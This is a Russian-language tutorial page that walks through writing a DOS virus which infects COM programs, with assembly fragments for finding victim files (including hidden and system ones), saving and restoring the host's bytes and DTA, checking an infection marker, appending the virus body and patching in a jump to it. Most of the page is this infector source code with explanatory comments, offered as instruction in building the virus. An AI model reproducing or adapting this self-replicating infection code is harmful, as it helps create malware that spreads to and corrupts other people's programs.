Мы поможем в написании ваших работ!



ЗНАЕТЕ ЛИ ВЫ?

Восстанавливаем зараженную программу

Поиск

Как было указано в 1.3 (п.1), вирус должен после запуска зараженной программы восстановить в памяти компьютера ее исходные три байтa (не на диске, а только в памяти!). Пусть вирус хранит исходные три байта в области "old_bytes". Итак:

fresh_bytes: mov al,old_bytes mov cs:[100h],al mov al,old_bytes+1 mov cs:[101h],al mov al,old_bytes+2 mov cs:[102h],al

Вы конечно знаете,что в COM - программе при ее загрузке по адресу CS:100h всегда находится первая исполняемая команда. В остальном работа фрагмента ясна.

Запоминаем содержимое DTA

Data Transfer Arrea (DTA) является одной из служебных структур MS DOS. Эта область находится в PSP по смещению 80h, и активно используется последней при работе с файлами. Например,многие функции MS DOS обращаются к DTA для чтения или модификации ее содержимого. Поскольку DOS строит PSP для каждой вновь запускаемой программы, для каждой из них создается и своя DTA.

Так как наш вирус будет использовать при заражении и поиске файлов функции DOS,содержимое DTA зараженной программы будет испорчено, и она, скорее всего, не будет нормально работать.Поэтому содержимое DTA необходимо сохранить. Для этой цели выделим массив из 128 байт с именем "old_dta":

mov cx,80h;Размер DTA -;128 байт... mov bx,80h;Смещение к DTA lea si,old_dta;Адрес массива save_dta: mov al,byte ptr cs:[bx];Читаем из DTA;байт и перено- mov ds:[si],al;сим его в мас-;сив... inc bx;К новому байту inc si; loop save_dta;Цикл 128 раз

Работа фрагмента пояснений не требует...

Ищем подходящий файл

Теперь самое время заняться поиском файла для заражения. Для поиска файла - жертвы мы будем использовать пару функций DOS: 4Eh (поиск первого файла) и 4Fh (поиск следующего файла). При вызове 4Eh в регистр CX помещаются атрибуты искомого файла, а в DX - его имя и расширение. Установленная нами маска предполагает поиск COM-файла, с атрибутами "archive","system" и "hidden".Функция 4Fh используется уже после того, как функция 4Eh нашла первый файл, удовлетворяющий нашим требованиям. Вирус будет вызывать ее в том случае, если найденный файл ему не подходит (например, он слишком велик). Имя найденного файла описанные выше функции помещают в DTA по смещению 01eh. А теперь приведем программный фрагмент, выполняющий поиск файла:

find_first: mov ah,4eh;Поиск первого;файла... mov cx,00100110b;archive, system;hidden lea dx,maska;Маска для поис-;ка int 21h jnc r_3;Нашли! jmp restore_dta;Ошибка! find_next: mov ah,3eh;Закроем непод- int 21h;ходящий файл... jnc r_2 jmp restore_dta;Файл нельзя за-;крыть! r_2: mov ah,4fh;И найдем сле- int 21h;дующий... jnc r_3;Файл найден! jmp restore_dta;Ошибка! r_3: mov cx,12;Сотрем в буфере lea si,fn;"fn" имя пред- destroy_name:;ыдущего файла mov byte ptr [si],0; inc si; loop destroy_name;Цикл 12 раз... xor si,si;И запишем в бу- copy_name: mov al,byte ptr cs:[si+9eh];фер имя только cmp al,0;что найденного;файла... je open;В конце имени в mov byte ptr ds:fn[si],al;DTA всегда сто- inc si;ит ноль, его мы jmp copy_name;и хотим достичь

Имя файла в буфере "fn" необходимо стирать вот почему. Например, первым был найден файл COMMAND.COM, и пусть он не подошел вирусу.Тогда вирус попытается найти следующий файл. Пусть это будет WIN.COM. Его имя запишется в область " fn ", и она примет вид: WINMAND.COM. Такого файла на диске, скорее всего, нет; если же попробовать к нему обратиться, это вызовет ошибку, и вирус закончит работу. Чтобы этого не случалось, область " fn " после каждого файла очищается. При ошибках в выполнении системных функций управление передается на метку "restore_dta". Затем вирус восстанавливает DTA зараженной программы и осуществляет переход на ее начало.

1.10 Читаем исходные три байта

Итак,вирус нашел COM - программу, которую теперь следует заразить. Но сначала необходимо сохранить первые три байта этой программы (см. 1.3, п.4). Для этого файл нужно сначала открыть, а затем считать его первые три байта, что и реализуют приведенные ниже программные строки. Напомним, что имя файла хранится в строке "fn".

open: mov ax,3d02h;Открыть файл;для чтения и;записи... lea dx,fn;Имя файла... int 21h; jnc save_bytes jmp restore_dta;Файл не откры-;вается! save_bytes:;Считаем три;байта: mov bx,ax;Сохраним дес-;криптор в BX mov ah,3fh;Номер функции mov cx,3;Сколько байт? lea dx,old_bytes;Буфер для счи-;тываемых данных int 21h jnc found_size jmp close;Ошибка!

Приведенный фрагмент помещает прочитанную информацию в область "old_bytes". Остальное ясно из комментариев.

Выполняем необходимые расчеты

В этом пункте мы покажем, как вирус проводит расчет корректирующего числа для регистра DS (см. 1.4), а также смещения на свой код. Напомним, что это смещение записывается в начало заражаемого файла и зависит от его длины. Исходной величиной для расчета служит длина заражаемого файла,которую DOS вместе с именем найденного файла и рядом других его характеристик помещает в DTA. Размер записывается в DTA по смещению 01Ah (младшее слово) 1Ch (старшее). Так как длина COM - файла не может быть больше 65535 байт, она помещается в младшее слово целиком.А слово по смещению 01Ch обнуляется! Вышеуказанные расчеты можно произвести следующим образом:

found_size: mov ax,cs:[09ah];Найдем размер;файла count_size:mov si,ax cmp ax,64000;Файл длиннее;64000 байт? jna toto;Нет... jmp find_next;Да - тогда он;нам не подходит toto: test ax,000fh;Округлим размер jz krat_16;до целого числа or ax,000fh;параграфов в inc ax;большую сторону krat_16: mov di,ax;И запишем ок-;ругленное зна-;чение в DI...;Расчитаем сме-;щение для пере-;хода на код ви-;руса... sub ax,3;Сама команда;перехода зани-;мает три байта! mov byte ptr new_bytes[1],al;Смещение найде- mov byte ptr new_bytes[2],ah;но! mov ax,di;Сколько пара- mov cl,4;графов содержит shr ax,cl;заражаемая про-;грамма? dec ax;Учитываем дейс-;твие директивы;ORG 110h... mov byte ptr add_to_ds,al;Корректирующее mov byte ptr add_to_ds+1,ah;число найдено!

Вы уже, конечно, поняли,что вирус будет округлять размер заражаемой программы до целого числа параграфов в большую сторону. Например, пусть файл имеет длину 401 байт. Тогда вирус запишет в DI значение 416 (25 целых параграфов, и еще один байт даст округленное значение 416). В "new_bytes" запишется число: 416 - 3 = 413, а в "add_to_ds" будет помещено значение: 26 - 1 = 25. Чтобы лучше понять работу фрагмента,рекомендую вам посмотреть пункт 1.6. И еще - подумайте, зачем нужна команда " dec ax ". Надеюсь, вы без труда в этом разберетесь!

Проверяем файл на зараженность

Мы, кажется, слишком увлеклись работой и не заметили одной очень важной детали. Ведь может случиться, что найденный нами файл уже заражен предлагаемым вирусом, а мы об этом даже не догадываемся! Поэтому наш вирус заразит эту программу еще раз. В принципе,количество заражений ничем не ограничено. Программа будет расти, пока не достигнет размера более 65535 байт, а после этого перестанет работать. Чтобы такого не произошло, введем проверку на зараженность. Например, в конец каждого заражаемого файла будем записывать цифру " 7 ", а при заражении проверять ее наличие. Итак:

mov ax,4200h;Установим ука- xor cx,cx;затель на пос- dec si;ледний байт mov dx,si;файла... int 21h jnc read_last jmp close;Ошибка! read_last:;И считаем этот mov ah,3fh;байт в ячейку mov cx,1; " last "... lea dx,last int 21h jc close;Ошибка! cmp last,'7';" last " =" 7 " jne write_vir;Нет - дальше jmp find_next;Да- поищем дру-;гой файл...

Можно, конечно,провести более совершенную проверку зараженности,нашей же целью было просто показать, как защитить файлы от повторного заражения. Читатель при желании сам легко внесет необходимые изменения в создаваемую программу.

Заражаем COM - программу

Наконец, подходящий для заражения COM - файл найден. Он еще не заражен нашим вирусом и имеет приемлемый размер. Поэтому самое время заняться заражением. Этот процесс описан в 1.3 (см. п.3 и п.4). Здесь мы только его реализуем:

write_vir: mov ax,4200h;Установим ука- xor cx,cx;затель на конец mov dx,di;файла... int 21h jc close;При ошибке -;закроем файл mov ah,40h;Запишем в файл mov cx,vir_len;код вируса дли- lea dx,vir;ной vir_len int 21h jc close;При ошибке -;закроем файл write_bytes: mov ax,4200h;Установим ука- xor cx,cx;затель на нача- xor dx,dx;ло файла int 21h jc close;При ошибке -;закроем файл mov ah,40h;Запишем в файл mov cx,3;первые три бай- lea dx,new_bytes;та (команду int 21h;перехода)... close: mov ah,3eh;Закроем зара- int 21h;женный файл...

При записи первых трех байт в файл помещается команда перехода на код вируса. Все остальное можно понять из приведенных комментариев.

Восстанавливаем DTA

Для корректной работы зараженной программы восстановим ее DTA. Напомним,что вирус " прячет " ее в массиве "old_dta". Поэтому:

restore_dta: mov cx,80h;Размер DTA -;128 байт... mov bx,80h;Смещение к DTA lea si,old_dta;Адрес массива dta_fresh: mov al,ds:[si];Читаем из мас-;сива "old_dta" mov byte ptr cs:[bx],al;байт и перено-;сим его в DTA inc bx;К новому байту inc si; loop dta_fresh;Цикл 128 раз


Поделиться:


Последнее изменение этой страницы: 2016-07-16; просмотров: 393; Нарушение авторского права страницы; Мы поможем в написании вашей работы!

infopedia.su Все материалы представленные на сайте исключительно с целью ознакомления читателями и не преследуют коммерческих целей или нарушение авторских прав. Обратная связь - 3.136.18.192 (0.01 с.)